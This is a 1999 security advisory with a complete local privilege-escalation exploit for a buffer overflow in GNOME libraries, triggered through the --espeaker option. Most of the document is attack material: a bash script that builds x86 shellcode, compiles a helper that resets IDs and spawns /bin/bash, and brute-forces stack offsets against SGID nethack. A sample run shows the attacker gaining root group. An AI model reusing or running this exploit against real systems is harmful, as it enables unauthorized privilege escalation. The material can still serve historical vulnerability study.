linux_GNOME_exploit.txt

`Greetings,  
  
Virtually any program using the GNOME libraries is vulnerable to a  
buffer overflow attack. The attack comes in the form:  
  
/path/to/gnome/prog --enable-sound --espeaker=$80bytebuffer  
  
The following exploit should work against any GNOME program, though I  
tried it on (the irony) /usr/games/nethack, which is SGID root by default  
on RH6.0. An attack on any program will look something like this:  
  
[xnec@redhack gnox]$ uname -a; cat /etc/redhat-release; id  
Linux redhack 2.2.9-19mdk #1 Wed May 19 19:53:00 GMT 1999 i686 unknown  
Linux Mandrake release 6.0 (Venus)  
uid=501(xnec) gid=501(xnec) groups=501(xnec)  
[xnec@redhack gnox]$ ./gnox.sh  
Building /tmp/gnox.c...  
...done!  
Building /tmp/gn.c...  
...done!  
Compiling /tmp/gnox...  
...done!  
Compiling /tmp/gn...  
...done!  
Launching attack...  
  
... pages and pages of segfaults  
  
Generic GNOME exploit for Linux x86  
Brock Tellier [email protected]  
  
Using addr: 0xbffff988 buflen:90 offset:208  
Can't resolve host name "ë^1AFF  
°  
óV  
  
I1UØ@IèÜÿÿÿ/tmp/gnùÿ¿ùÿ¿Xúÿ¿Z"!  
before: uid=501, euid=501, gid=501, egid=0  
after: uid=501, euid=501, gid=0, egid=0  
[xnec@redhack gnomehack]$ id  
uid=501(xnec) gid=0(root) groups=501(xnec)  
  
Brock Tellier  
UNIX Systems Administrator  
Webley Systems  
www.webley.com  
  
--- gnox.sh ---  
#!/bin/bash  
# Generic exploit for GNOME apps under Linux x86  
# Our overflowed buffer is just 80 bytes so we'll have to get our  
settings  
# just so. Hence the shell script.  
#  
# This should work against any su/gid GNOME program. The only one that  
comes  
# with RH6.0 that is su/gid root is (the irony is killing me) nethack.  
#  
# Change the /usr/games/nethack statement in the while loop below to  
exploit  
# a different program.  
#  
# -Brock Tellier [email protected]  
  
echo "Building /tmp/gnox.c..."  
cat > /tmp/gnox.c <<EOF  
/*  
* Generic GNOME overflow exploit for Linux x86, tested on RH6.0  
* Will work against any program using the GNOME libraries in the form  
* Keep your BUFSIZ at 90 and only modify your offset  
*  
*/  
  
  
#include <stdlib.h>  
#include <stdio.h>  
  
char gnoshell[]= /* Generic Linux x86 shellcode modified to run our  
program */  
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"  
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"  
"\x80\xe8\xdc\xff\xff\xff/tmp/gn";  
  
#define LEN 120  
#define BUFLEN 90 /* no need to change this */  
#define NOP 0x90  
#define DEFAULT_OFFSET 300  
  
unsigned long get_sp(void) {  
  
__asm__("movl %esp, %eax");  
  
}  
  
void main(int argc, char *argv[]) {  
  
int offset, i;  
int buflen = BUFLEN;  
long int addr;  
char buf[BUFLEN];  
char gnobuf[LEN];  
if(argc > 2) {  
fprintf(stderr, "Error: Usage: %s <offset>\n", argv[0]);  
exit(0);  
}  
else if (argc == 2){  
offset=atoi(argv[1]);  
}  
else {  
offset=DEFAULT_OFFSET;  
}  
  
  
addr=get_sp();  
  
fprintf(stderr, "Generic GNOME exploit for Linux x86\n");  
fprintf(stderr, "Brock Tellier [email protected]\n\n");  
fprintf(stderr, "Using addr: 0x%x buflen:%d offset:%d\n", addr-offset,  
buflen, offset);  
  
memset(buf,NOP,buflen);  
memcpy(buf+35,gnoshell,strlen(gnoshell));  
for(i=35+strlen(gnoshell);i<buflen-4;i+=4)  
*(int *)&buf[i]=addr-offset;  
  
sprintf(gnobuf, "--enable-sound --espeaker=%s", buf);  
for(i=0;i<strlen(gnobuf);i++)  
putchar(gnobuf[i]);  
  
}  
EOF  
  
echo "...done!"  
  
echo "Building /tmp/gn.c..."  
  
cat > /tmp/gn.c <<EOF  
#include <unistd.h>  
  
void main() {  
printf("before: uid=%d, euid=%d, gid=%d, egid=%d\n", getuid(),  
geteuid(), getgid(), getegid());  
  
setreuid(geteuid(), geteuid());  
setregid(getegid(), getegid());  
  
printf("after: uid=%d, euid=%d, gid=%d, egid=%d\n", getuid(),  
geteuid(), getgid(), getegid());  
  
system("/bin/bash");  
}  
EOF  
  
echo "...done!"  
  
echo "Compiling /tmp/gnox..."  
gcc -o /tmp/gnox /tmp/gnox.c  
echo "...done!"  
  
echo "Compiling /tmp/gn..."  
gcc -o /tmp/gn /tmp/gn.c  
echo "...done!"  
  
echo "Launching attack..."  
  
offset=0  
  
while [ $offset -lt 10000 ]; do  
/usr/games/nethack `/tmp/gnox $offset`  
offset=`expr $offset + 4`  
done  
  
echo "...done!"  
  
------  
`